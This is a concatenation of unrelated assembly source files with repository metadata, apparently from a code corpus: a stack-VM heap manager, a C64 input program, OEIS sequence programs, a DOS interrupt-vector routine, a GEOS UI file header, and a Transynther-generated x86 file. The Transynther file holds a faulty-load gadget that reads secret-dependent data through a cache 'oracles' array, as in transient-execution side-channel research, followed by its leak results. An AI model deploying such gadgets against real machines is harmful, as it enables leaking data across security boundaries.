PushI 8
Add
Exchange
StoreI
PushI 0
PushD $record-creation-temp
LoadI
PushI 17
Add
Exchange
StoreC
PushI 112
PushD $record-creation-temp
LoadI
PushI 12
Add
Exchange
StoreC
PushI 114
PushD $record-creation-temp
LoadI
PushI 13
Add
Exchange
StoreC
PushI 111
PushD $record-creation-temp
LoadI
PushI 14
Add
Exchange
StoreC
PushI 117
PushD $record-creation-temp
LoadI
PushI 15
Add
Exchange
StoreC
PushI 100
PushD $record-creation-temp
LoadI
PushI 16
Add
Exchange
StoreC
PushD $record-creation-temp
LoadI
StoreI
PushD $global-memory-block
PushI 8
Add %% c
PushI 5
PushI 1
Add
PushI 12
Add
Call -mem-manager-allocate
PushD $record-creation-temp
Exchange
StoreI
PushI 6
PushD $record-creation-temp
LoadI
PushI 0
Add
Exchange
StoreI
PushI 9
PushD $record-creation-temp
LoadI
PushI 4
Add
Exchange
StoreI
PushI 5
PushD $record-creation-temp
LoadI
PushI 8
Add
Exchange
StoreI
PushI 0
PushD $record-creation-temp
LoadI
PushI 17
Add
Exchange
StoreC
PushI 109
PushD $record-creation-temp
LoadI
PushI 12
Add
Exchange
StoreC
PushI 97
PushD $record-creation-temp
LoadI
PushI 13
Add
Exchange
StoreC
PushI 110
PushD $record-creation-temp
LoadI
PushI 14
Add
Exchange
StoreC
PushI 39
PushD $record-creation-temp
LoadI
PushI 15
Add
Exchange
StoreC
PushI 115
PushD $record-creation-temp
LoadI
PushI 16
Add
Exchange
StoreC
PushD $record-creation-temp
LoadI
StoreI
PushD $global-memory-block
PushI 12
Add %% d
PushI 9
PushI 1
Add
PushI 12
Add
Call -mem-manager-allocate
PushD $record-creation-temp
Exchange
StoreI
PushI 6
PushD $record-creation-temp
LoadI
PushI 0
Add
Exchange
StoreI
PushI 9
PushD $record-creation-temp
LoadI
PushI 4
Add
Exchange
StoreI
PushI 9
PushD $record-creation-temp
LoadI
PushI 8
Add
Exchange
StoreI
PushI 0
PushD $record-creation-temp
LoadI
PushI 21
Add
Exchange
StoreC
PushI 99
PushD $record-creation-temp
LoadI
PushI 12
Add
Exchange
StoreC
PushI 111
PushD $record-creation-temp
LoadI
PushI 13
Add
Exchange
StoreC
PushI 110
PushD $record-creation-temp
LoadI
PushI 14
Add
Exchange
StoreC
PushI 116
PushD $record-creation-temp
LoadI
PushI 15
Add
Exchange
StoreC
PushI 117
PushD $record-creation-temp
LoadI
PushI 16
Add
Exchange
StoreC
PushI 109
PushD $record-creation-temp
LoadI
PushI 17
Add
Exchange
StoreC
PushI 101
PushD $record-creation-temp
LoadI
PushI 18
Add
Exchange
StoreC
PushI 108
PushD $record-creation-temp
LoadI
PushI 19
Add
Exchange
StoreC
PushI 121
PushD $record-creation-temp
LoadI
PushI 20
Add
Exchange
StoreC
PushD $record-creation-temp
LoadI
StoreI
PushD $global-memory-block
PushI 16
Add %% collect
PushI 4
PushI 4
Multiply
PushI 16
Add
Call -mem-manager-allocate
PushD $record-creation-temp
Exchange
StoreI
PushI 7
PushD $record-creation-temp
LoadI
PushI 0
Add
Exchange
StoreI
PushI 2
PushD $record-creation-temp
LoadI
PushI 4
Add
Exchange
StoreI
PushI 4
PushD $record-creation-temp
LoadI
PushI 12
Add
Exchange
StoreI
PushI 4
PushD $record-creation-temp
LoadI
PushI 8
Add
Exchange
StoreI
DLabel -populate-creation-8-elemAddr
DataZ 4
PushD $record-creation-temp
LoadI
Duplicate
PushI 16
Add
PushD -populate-creation-8-elemAddr
Exchange
StoreI
PushD -populate-creation-8-elemAddr
LoadI
PushD $global-memory-block
PushI 0
Add %% a
LoadI
StoreI
PushI 4
PushD -populate-creation-8-elemAddr
LoadI
Add
PushD -populate-creation-8-elemAddr
Exchange
StoreI
PushD -populate-creation-8-elemAddr
LoadI
PushD $global-memory-block
PushI 4
Add %% b
LoadI
StoreI
PushI 4
PushD -populate-creation-8-elemAddr
LoadI
Add
PushD -populate-creation-8-elemAddr
Exchange
StoreI
PushD -populate-creation-8-elemAddr
LoadI
PushD $global-memory-block
PushI 8
Add %% c
LoadI
StoreI
PushI 4
PushD -populate-creation-8-elemAddr
LoadI
Add
PushD -populate-creation-8-elemAddr
Exchange
StoreI
PushD -populate-creation-8-elemAddr
LoadI
PushD $global-memory-block
PushI 12
Add %% d
LoadI
StoreI
PushI 4
PushD -populate-creation-8-elemAddr
LoadI
Add
PushD -populate-creation-8-elemAddr
Exchange
StoreI
StoreI
PushD $global-memory-block
PushI 16
Add %% collect
LoadI
PushI 4
Call $print-array-subroutine
PushD $print-format-newline
Printf
PushD $global-memory-block
PushI 16
Add %% collect
LoadI
Call $release-record
PushD $global-memory-block
PushI 20
Add %% reuse
PushI 4
PushI 1
Multiply
PushI 16
Add
Call -mem-manager-allocate
PushD $record-creation-temp
Exchange
StoreI
PushI 7
PushD $record-creation-temp
LoadI
PushI 0
Add
Exchange
StoreI
PushI 0
PushD $record-creation-temp
LoadI
PushI 4
Add
Exchange
StoreI
PushI 1
PushD $record-creation-temp
LoadI
PushI 12
Add
Exchange
StoreI
PushI 4
PushD $record-creation-temp
LoadI
PushI 8
Add
Exchange
StoreI
DLabel -populate-creation-9-elemAddr
DataZ 4
PushD $record-creation-temp
LoadI
Duplicate
PushI 16
Add
PushD -populate-creation-9-elemAddr
Exchange
StoreI
PushD -populate-creation-9-elemAddr
LoadI
PushI 14
StoreI
PushI 4
PushD -populate-creation-9-elemAddr
LoadI
Add
PushD -populate-creation-9-elemAddr
Exchange
StoreI
StoreI
PushD $global-memory-block
PushI 0
Add %% a
LoadI
Call $print-string
PushD $print-format-space
Printf
PushD $global-memory-block
PushI 4
Add %% b
LoadI
Call $print-string
PushD $print-format-space
Printf
PushD $global-memory-block
PushI 8
Add %% c
LoadI
Call $print-string
PushD $print-format-space
Printf
PushD $global-memory-block
PushI 12
Add %% d
LoadI
Call $print-string
PushD $print-format-space
Printf
PushD $print-format-newline
Printf
Halt
Label -mem-manager-make-tags
DLabel $mmgr-tags-size
DataZ 4
DLabel $mmgr-tags-start
DataZ 4
DLabel $mmgr-tags-available
DataZ 4
DLabel $mmgr-tags-nextptr
DataZ 4
DLabel $mmgr-tags-prevptr
DataZ 4
DLabel $mmgr-tags-return
DataZ 4
PushD $mmgr-tags-return
Exchange
StoreI
PushD $mmgr-tags-size
Exchange
StoreI
PushD $mmgr-tags-start
Exchange
StoreI
PushD $mmgr-tags-available
Exchange
StoreI
PushD $mmgr-tags-nextptr
Exchange
StoreI
PushD $mmgr-tags-prevptr
Exchange
StoreI
PushD $mmgr-tags-prevptr
LoadI
PushD $mmgr-tags-size
LoadI
PushD $mmgr-tags-available
LoadI
PushD $mmgr-tags-start
LoadI
Call -mem-manager-one-tag
PushD $mmgr-tags-nextptr
LoadI
PushD $mmgr-tags-size
LoadI
PushD $mmgr-tags-available
LoadI
PushD $mmgr-tags-start
LoadI
Duplicate
PushI 4
Add
LoadI
Add
PushI 9
Subtract
Call -mem-manager-one-tag
PushD $mmgr-tags-return
LoadI
Return
Label -mem-manager-one-tag
DLabel $mmgr-onetag-return
DataZ 4
DLabel $mmgr-onetag-location
DataZ 4
DLabel $mmgr-onetag-available
DataZ 4
DLabel $mmgr-onetag-size
DataZ 4
DLabel $mmgr-onetag-pointer
DataZ 4
PushD $mmgr-onetag-return
Exchange
StoreI
PushD $mmgr-onetag-location
Exchange
StoreI
PushD $mmgr-onetag-available
Exchange
StoreI
PushD $mmgr-onetag-size
Exchange
StoreI
PushD $mmgr-onetag-location
LoadI
PushI 0
Add
Exchange
StoreI
PushD $mmgr-onetag-size
LoadI
PushD $mmgr-onetag-location
LoadI
PushI 4
Add
Exchange
StoreI
PushD $mmgr-onetag-available
LoadI
PushD $mmgr-onetag-location
LoadI
PushI 8
Add
Exchange
StoreC
PushD $mmgr-onetag-return
LoadI
Return
Label -mem-manager-allocate
DLabel $mmgr-alloc-return
DataZ 4
DLabel $mmgr-alloc-size
DataZ 4
DLabel $mmgr-alloc-current-block
DataZ 4
DLabel $mmgr-alloc-remainder-block
DataZ 4
DLabel $mmgr-alloc-remainder-size
DataZ 4
PushD $mmgr-alloc-return
Exchange
StoreI
PushI 18
Add
PushD $mmgr-alloc-size
Exchange
StoreI
PushD $heap-first-free
LoadI
PushD $mmgr-alloc-current-block
Exchange
StoreI
Label -mmgr-alloc-process-current
PushD $mmgr-alloc-current-block
LoadI
JumpFalse -mmgr-alloc-no-block-works
Label -mmgr-alloc-test-block
PushD $mmgr-alloc-current-block
LoadI
PushI 4
Add
LoadI
PushD $mmgr-alloc-size
LoadI
Subtract
PushI 1
Add
JumpPos -mmgr-alloc-found-block
PushD $mmgr-alloc-current-block
LoadI
Duplicate
PushI 4
Add
LoadI
Add
PushI 9
Subtract
PushI 0
Add
LoadI
PushD $mmgr-alloc-current-block
Exchange
StoreI
Jump -mmgr-alloc-process-current
Label -mmgr-alloc-found-block
PushD $mmgr-alloc-current-block
LoadI
Call -mem-manager-remove-block
PushD $mmgr-alloc-current-block
LoadI
PushI 4
Add
LoadI
PushD $mmgr-alloc-size
LoadI
Subtract
PushI 26
Subtract
JumpNeg -mmgr-alloc-return-userblock
PushD $mmgr-alloc-current-block
LoadI
PushD $mmgr-alloc-size
LoadI
Add
PushD $mmgr-alloc-remainder-block
Exchange
StoreI
PushD $mmgr-alloc-size
LoadI
PushD $mmgr-alloc-current-block
LoadI
PushI 4
Add
LoadI
Exchange
Subtract
PushD $mmgr-alloc-remainder-size
Exchange
StoreI
PushI 0
PushI 0
PushI 0
PushD $mmgr-alloc-current-block
LoadI
PushD $mmgr-alloc-size
LoadI
Call -mem-manager-make-tags
PushI 0
PushI 0
PushI 1
PushD $mmgr-alloc-remainder-block
LoadI
PushD $mmgr-alloc-remainder-size
LoadI
Call -mem-manager-make-tags
PushD $mmgr-alloc-remainder-block
LoadI
PushI 9
Add
Call -mem-manager-deallocate
Jump -mmgr-alloc-return-userblock
Label -mmgr-alloc-no-block-works
PushD $mmgr-alloc-size
LoadI
PushD $mmgr-newblock-size
Exchange
StoreI
PushD $heap-after-ptr
LoadI
PushD $mmgr-newblock-block
Exchange
StoreI
PushD $mmgr-newblock-size
LoadI
PushD $heap-after-ptr
LoadI
Add
PushD $heap-after-ptr
Exchange
StoreI
PushI 0
PushI 0
PushI 0
PushD $mmgr-newblock-block
LoadI
PushD $mmgr-newblock-size
LoadI
Call -mem-manager-make-tags
PushD $mmgr-newblock-block
LoadI
PushD $mmgr-alloc-current-block
Exchange
StoreI
Label -mmgr-alloc-return-userblock
PushD $mmgr-alloc-current-block
LoadI
PushI 9
Add
PushD $mmgr-alloc-return
LoadI
Return
Label -mem-manager-deallocate
DLabel $mmgr-dealloc-return
DataZ 4
DLabel $mmgr-dealloc-block
DataZ 4
PushD $mmgr-dealloc-return
Exchange
StoreI
PushI 9
Subtract
PushD $mmgr-dealloc-block
Exchange
StoreI
PushD $heap-first-free
LoadI
JumpFalse -mmgr-bypass-firstFree
PushD $mmgr-dealloc-block
LoadI
PushD $heap-first-free
LoadI
PushI 0
Add
Exchange
StoreI
Label -mmgr-bypass-firstFree
PushI 0
PushD $mmgr-dealloc-block
LoadI
PushI 0
Add
Exchange
StoreI
PushD $heap-first-free
LoadI
PushD $mmgr-dealloc-block
LoadI
Duplicate
PushI 4
Add
LoadI
Add
PushI 9
Subtract
PushI 0
Add
Exchange
StoreI
PushI 1
PushD $mmgr-dealloc-block
LoadI
PushI 8
Add
Exchange
StoreC
PushI 1
PushD $mmgr-dealloc-block
LoadI
Duplicate
PushI 4
Add
LoadI
Add
PushI 9
Subtract
PushI 8
Add
Exchange
StoreC
PushD $mmgr-dealloc-block
LoadI
PushD $heap-first-free
Exchange
StoreI
PushD $mmgr-dealloc-return
LoadI
Return
Label -mem-manager-remove-block
DLabel $mmgr-remove-return
DataZ 4
DLabel $mmgr-remove-block
DataZ 4
DLabel $mmgr-remove-prev
DataZ 4
DLabel $mmgr-remove-next
DataZ 4
PushD $mmgr-remove-return
Exchange
StoreI
PushD $mmgr-remove-block
Exchange
StoreI
PushD $mmgr-remove-block
LoadI
PushI 0
Add
LoadI
PushD $mmgr-remove-prev
Exchange
StoreI
PushD $mmgr-remove-block
LoadI
Duplicate
PushI 4
Add
LoadI
Add
PushI 9
Subtract
PushI 0
Add
LoadI
PushD $mmgr-remove-next
Exchange
StoreI
Label -mmgr-remove-process-prev
PushD $mmgr-remove-prev
LoadI
JumpFalse -mmgr-remove-no-prev
PushD $mmgr-remove-next
LoadI
PushD $mmgr-remove-prev
LoadI
Duplicate
PushI 4
Add
LoadI
Add
PushI 9
Subtract
PushI 0
Add
Exchange
StoreI
Jump -mmgr-remove-process-next
Label -mmgr-remove-no-prev
PushD $mmgr-remove-next
LoadI
PushD $heap-first-free
Exchange
StoreI
Label -mmgr-remove-process-next
PushD $mmgr-remove-next
LoadI
JumpFalse -mmgr-remove-done
PushD $mmgr-remove-prev
LoadI
PushD $mmgr-remove-next
LoadI
PushI 0
Add
Exchange
StoreI
Label -mmgr-remove-done
PushD $mmgr-remove-return
LoadI
Return
DLabel $heap-memory
| 49.757234
| 79
| 0.244207
|
f9a9e0dc6365ee75120c139fc18bcc06b52c0053
| 231
|
asm
|
Assembly
|
printinput.asm
|
laffey98/c64-snake
|
1fbd458930090a89b11aa837ee78b52a22bcff56
|
[
"MIT"
] | 5
|
2021-03-31T12:41:46.000Z
|
2021-10-12T05:52:56.000Z
|
printinput.asm
|
dreamingPainter/c64-snake
|
dd1ab483f78d65b05405ea3ced5bdd9624e7478a
|
[
"MIT"
] | 1
|
2021-04-12T12:12:54.000Z
|
2021-04-12T12:13:23.000Z
|
printinput.asm
|
dreamingPainter/c64-snake
|
dd1ab483f78d65b05405ea3ced5bdd9624e7478a
|
[
"MIT"
] | 5
|
2021-03-31T12:41:51.000Z
|
2022-02-04T07:14:17.000Z
|
.outfile "printinput.prg"
.require "platform/c64header.oph"
.require "platform/c64kernal.oph"
main:
* jsr getin
beq skip
cmp #'@
beq end
jsr printbyte
lda #13 ; 换行
jsr chrout
skip:
jmp -
end:
rts
.require "printbyte.asm"
| 12.833333
| 33
| 0.701299
|
3fbf68c739872cd3e6efed6fd10978ec5e9051e7
| 414
|
asm
|
Assembly
|
oeis/170/A170032.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/170/A170032.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/170/A170032.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A170032: Number of reduced words of length n in Coxeter group on 23 generators S_i with relations (S_i)^2 = (S_i S_j)^36 = I.
; 1,23,506,11132,244904,5387888,118533536,2607737792,57370231424,1262145091328,27767192009216,610878224202752,13439320932460544,295665060514131968,6504631331310903296,143101889288839872512
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
div $3,$2
mul $2,22
lpe
mov $0,$2
div $0,22
| 29.571429
| 188
| 0.756039
|
18b2f24eb8fe083ebf1ff6a8f250d68bd4f396f6
| 407
|
asm
|
Assembly
|
programs/oeis/292/A292443.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/292/A292443.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/292/A292443.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A292443: a(n) = (5/32)*A000045(6*n)^2.
; 0,10,3240,1043290,335936160,108170400250,34830532944360,11215323437683690,3611299316401203840,1162827164557749952810,374426735688279083601000,120564246064461307169569210,38821312806020852629517684640,12500342159292650085397524884890,4025071353979427306645373495249960
mul $0,3
mov $2,10
lpb $0
sub $0,1
sub $1,$2
sub $2,$1
lpe
pow $1,2
div $1,640
mov $0,$1
| 29.071429
| 269
| 0.798526
|
d7f732277ba6ff929bb91118daec93a80c25f5e2
| 1,354
|
asm
|
Assembly
|
symbolinen_konekieli/Ratol_msdos/asekesk.asm
|
tkukka/VariousContent
|
f7e7ae98ff8521c6c709dabe30855104afe3fe04
|
[
"MIT"
] | null | null | null |
symbolinen_konekieli/Ratol_msdos/asekesk.asm
|
tkukka/VariousContent
|
f7e7ae98ff8521c6c709dabe30855104afe3fe04
|
[
"MIT"
] | null | null | null |
symbolinen_konekieli/Ratol_msdos/asekesk.asm
|
tkukka/VariousContent
|
f7e7ae98ff8521c6c709dabe30855104afe3fe04
|
[
"MIT"
] | null | null | null |
;RaTol Symbolinen konekieli: Harjoitus 5, tehtävä 2
;Tero Kukka IY96A
;Tiedosto: asekesk.asm Versio 1.0
;Luotu 19.4.1998
;Aliohjelma _aseta_kesk
;Asettaa keskeytysvektoritaulukkoon annetun keskeytyspalveluohjelman
;Parametrit: palveluohjelman segm. ja siirros sekä keskeytystyyppinro.
public _aseta_kesk
.model large ;HUOM. muistimalli
.stack 200h ;HUOM. pinon koko
.data
.code
_aseta_kesk proc
push bp
mov bp, sp ;PINO: parametrit, CS, IP, BP
push ds
push bx
push dx
mov ax, 0
mov ds, ax ;vektoritaulukon alku 0000H:0000H
mov bx, [bp + 6] ;tyyppinro pinosta
cmp bx, 255
ja VIRHE
sal bx, 2 ;siirros = 4 x tyyppinro
mov dx, [bp + 8] ;kesk.palv. segm.
mov ax, [bp + 10] ;kesk.palv. offset
cli
mov [bx], ax ;IP:n arvo
mov [bx + 2], dx ;CS:n arvo
sti
xor ax, ax ;OK
jmp LOPPU
VIRHE:
mov word ptr ax, -1
LOPPU:
pop dx
pop bx
pop ds
pop bp
ret
_aseta_kesk endp
end
| 25.54717
| 78
| 0.473412
|
9d98cd42f8732c94bb76216260a7c999414df06c
| 5,830
|
asm
|
Assembly
|
Transynther/x86/_processed/NC/_ht_zr_un_/i9-9900K_12_0xa0_notsx.log_21829_279.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NC/_ht_zr_un_/i9-9900K_12_0xa0_notsx.log_21829_279.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NC/_ht_zr_un_/i9-9900K_12_0xa0_notsx.log_21829_279.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xe34f, %rbp
nop
xor $64697, %r8
movups (%rbp), %xmm5
vpextrq $1, %xmm5, %rax
nop
nop
nop
nop
xor $65066, %r13
lea addresses_normal_ht+0xdbcf, %rsi
lea addresses_D_ht+0x169cf, %rdi
nop
nop
dec %r11
mov $114, %rcx
rep movsw
nop
dec %r11
lea addresses_WT_ht+0x14e6f, %rsi
lea addresses_WC_ht+0xc54f, %rdi
nop
nop
nop
cmp $54598, %r8
mov $120, %rcx
rep movsw
nop
nop
xor $31075, %r8
lea addresses_UC_ht+0x1cb4f, %rcx
nop
nop
nop
nop
xor $2690, %rbp
mov (%rcx), %eax
nop
nop
nop
nop
cmp %rcx, %rcx
lea addresses_A_ht+0x162af, %rsi
lea addresses_UC_ht+0x20cf, %rdi
clflush (%rsi)
dec %r11
mov $106, %rcx
rep movsl
nop
nop
nop
nop
nop
and $11122, %rdi
lea addresses_normal_ht+0x1734f, %r8
nop
nop
nop
nop
nop
dec %r11
mov $0x6162636465666768, %rdi
movq %rdi, %xmm6
movups %xmm6, (%r8)
add $58215, %r8
lea addresses_WT_ht+0x1cb4f, %rax
nop
nop
nop
nop
nop
inc %rsi
mov $0x6162636465666768, %rbp
movq %rbp, %xmm1
vmovups %ymm1, (%rax)
nop
inc %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r8
push %rax
push %rbp
push %rcx
push %rsi
// Faulty Load
mov $0x4673fb0000000b4f, %rcx
nop
nop
nop
nop
nop
add $29008, %rbp
movups (%rcx), %xmm6
vpextrq $0, %xmm6, %rax
lea oracles, %r11
and $0xff, %rax
shlq $12, %rax
mov (%r11,%rax,1), %rax
pop %rsi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 10}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 10}}
{'44': 1, '45': 14893, '7f': 3, '00': 6932}
45 00 45 45 45 45 00 45 45 45 45 45 45 45 45 45 00 00 00 45 45 45 45 45 45 00 00 45 00 00 45 45 45 45 45 45 45 45 00 45 45 00 00 00 45 00 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 00 45 45 00 45 45 45 00 00 45 45 45 45 00 45 00 00 00 45 45 45 00 45 45 45 45 45 45 00 00 00 00 45 45 45 45 45 45 45 45 00 45 00 00 00 45 45 45 45 45 45 00 45 45 00 45 45 45 00 00 45 45 00 45 45 45 45 45 45 45 00 00 00 00 45 00 00 45 45 00 45 45 45 45 45 00 00 00 45 45 45 45 45 00 00 45 45 45 45 45 45 45 45 00 45 45 00 00 00 45 00 45 45 45 45 45 45 45 45 45 45 45 45 00 00 00 45 00 45 00 45 45 45 00 45 00 45 45 45 45 45 45 45 45 00 45 45 45 00 45 45 45 45 45 45 45 45 00 45 45 45 45 45 00 00 45 00 00 00 45 45 45 45 45 00 45 45 00 45 00 45 45 00 45 45 45 45 45 45 45 45 00 00 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 00 45 45 00 00 00 00 45 45 45 45 00 45 45 45 45 45 45 00 00 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 00 00 00 45 45 00 00 00 00 45 00 00 00 45 45 00 45 45 00 45 45 45 45 45 45 45 45 45 45 00 00 00 00 00 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 00 45 00 45 00 45 00 00 45 45 45 45 45 45 00 45 45 45 45 45 00 00 00 45 00 45 45 45 45 00 45 45 45 00 45 45 45 45 00 45 45 00 00 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 00 45 45 45 45 45 00 00 45 00 45 45 00 00 45 45 45 45 45 45 45 00 45 45 45 00 45 45 45 45 45 45 45 45 45 00 00 45 45 00 45 00 45 00 00 45 45 45 45 45 00 00 00 45 00 45 00 00 00 45 45 00 45 45 00 00 45 45 00 45 45 45 00 45 45 00 45 00 45 45 45 45 45 45 00 00 00 45 45 45 45 45 00 45 45 45 45 45 45 45 00 00 00 45 00 00 00 45 00 00 45 00 45 45 45 45 45 45 00 45 45 00 00 45 45 45 45 45 45 45 45 45 45 00 00 45 45 45 00 00 45 45 45 45 7f 45 45 00 45 00 45 45 45 45 45 45 45 45 45 00 00 45 45 00 00 45 45 45 00 45 45 45 45 45 45 45 45 45 00 45 00 45 00 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 00 45 00 00 45 00 00 45 00 45 00 45 45 45 45 00 45 00 00 00 45 45 45 45 00 45 45 45 45 00 45 45 00 45 45 45 45 00 45 00 00 45 45 45 00 45 00 00 45 00 45 00 00 00 45 00 45 45 00 00 45 45 45 45 45 45 00 00 45 00 45 45 00 00 00 00 00 00 45 45 00 45 45 00 45 45 00 45 45 45 00 00 45 00 00 00 45 00 00 45 45 45 00 00 00 00 45 45 00 45 45 45 45 45 45 00 00 00 00 00 45 00 45 45 00 45 00 00 00 45 45 00 45 45 00 45 45 45 45 00 00 00 45 45 45 45 45 45 00 00 00 00 00 00 45 45 45 45 45 45 00 45 45 00 45 45 45 45 45 45 45 45 00 45 45 00 00 00 00 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 00 00 45 00 45 00 00 45 45 45 00 45 00 45 45 45 45 45 00 45 45 45 45 45 00 00 45 45 45 45 00 45 45 45 45 45 00 45 00 00 45 00 00 45 45 45 45 45 45 00 00 45 45 45 45 00 00 00 45 45 00 00 45 45 45 00 45 45 45 45 45 45 00 00 00 00 00 45 45 00 45 00 00 45 45 45 45 45 45 45 45 00 45 45 45 00 00 45 00 45 45 00 00 00 00 00 45 00 00 00 45 45 00 45 45 45 45 45 00 45 45 45 45 45 45 00 45 45 45 45 45 00 00 45 45 45 00 00 00 45 45 00 45 45 00 45 45 45 45 45 00 45 45 00 00 00 00 45 00 45 45 45 45 00 45 45 45 45 45 00 45 45 45 45
*/
| 39.931507
| 2,999
| 0.66175
|
59936010d8b324d77f2d1878ede3bb0ee3c292f1
| 223
|
asm
|
Assembly
|
Debug/.NETFramework,Version=v4.5.2.AssemblyAttributes.asm
|
KonstantinLeontev/randPSWgen
|
21fe68f347dc2939e77ffe6ee2f292510c91ce3a
|
[
"MIT"
] | null | null | null |
Debug/.NETFramework,Version=v4.5.2.AssemblyAttributes.asm
|
KonstantinLeontev/randPSWgen
|
21fe68f347dc2939e77ffe6ee2f292510c91ce3a
|
[
"MIT"
] | null | null | null |
Debug/.NETFramework,Version=v4.5.2.AssemblyAttributes.asm
|
KonstantinLeontev/randPSWgen
|
21fe68f347dc2939e77ffe6ee2f292510c91ce3a
|
[
"MIT"
] | 1
|
2020-04-29T11:43:09.000Z
|
2020-04-29T11:43:09.000Z
|
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.00.24210.0
; Generated by VC++ for Common Language Runtime
.file "C:\Users\leoko\AppData\Local\Temp\.NETFramework,Version=v4.5.2.AssemblyAttributes.cpp"
| 44.6
| 93
| 0.784753
|
7566789bf6852cf77cfa4f5b8ce67ab94c82d07d
| 20,917
|
asm
|
Assembly
|
Library/SpecUI/ISUI/Win/winDraw.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Library/SpecUI/ISUI/Win/winDraw.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Library/SpecUI/ISUI/Win/winDraw.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1988 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: ISUI/Win
FILE: winDraw.asm
ROUTINES:
Name Description
---- -----------
WinDrawBoxFrame draw 2 color LT/RB frame
OpenWinCheckIfBordered test if window has a border
OpenWinGetBounds gets bounds for object
OpenWinGetInsideBorderBounds gets bounds inside the border
OpenWinGetHeaderBounds gets bounds of header
OpenWinInitGState sets up font, etc. info in GState
OpenWinDraw MSG_VIS_DRAW handler for OLWinClass
OpenWinDrawWindowBorder draws window border
OpenWinDrawHeaderTitleBackground draws background behind title
OpenWinDrawHeaderTitle draws title text
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 8/89 Initial version
Eric 9/89 moved from CommonUI/CWin since 90% of
file is specific-ui dependent.
DESCRIPTION:
This file contains procedures for the DRAW method of OLWinClass.
$Id: winDraw.asm,v 1.2 98/05/04 06:15:03 joon Exp $
------------------------------------------------------------------------------@
WinCommon segment resource
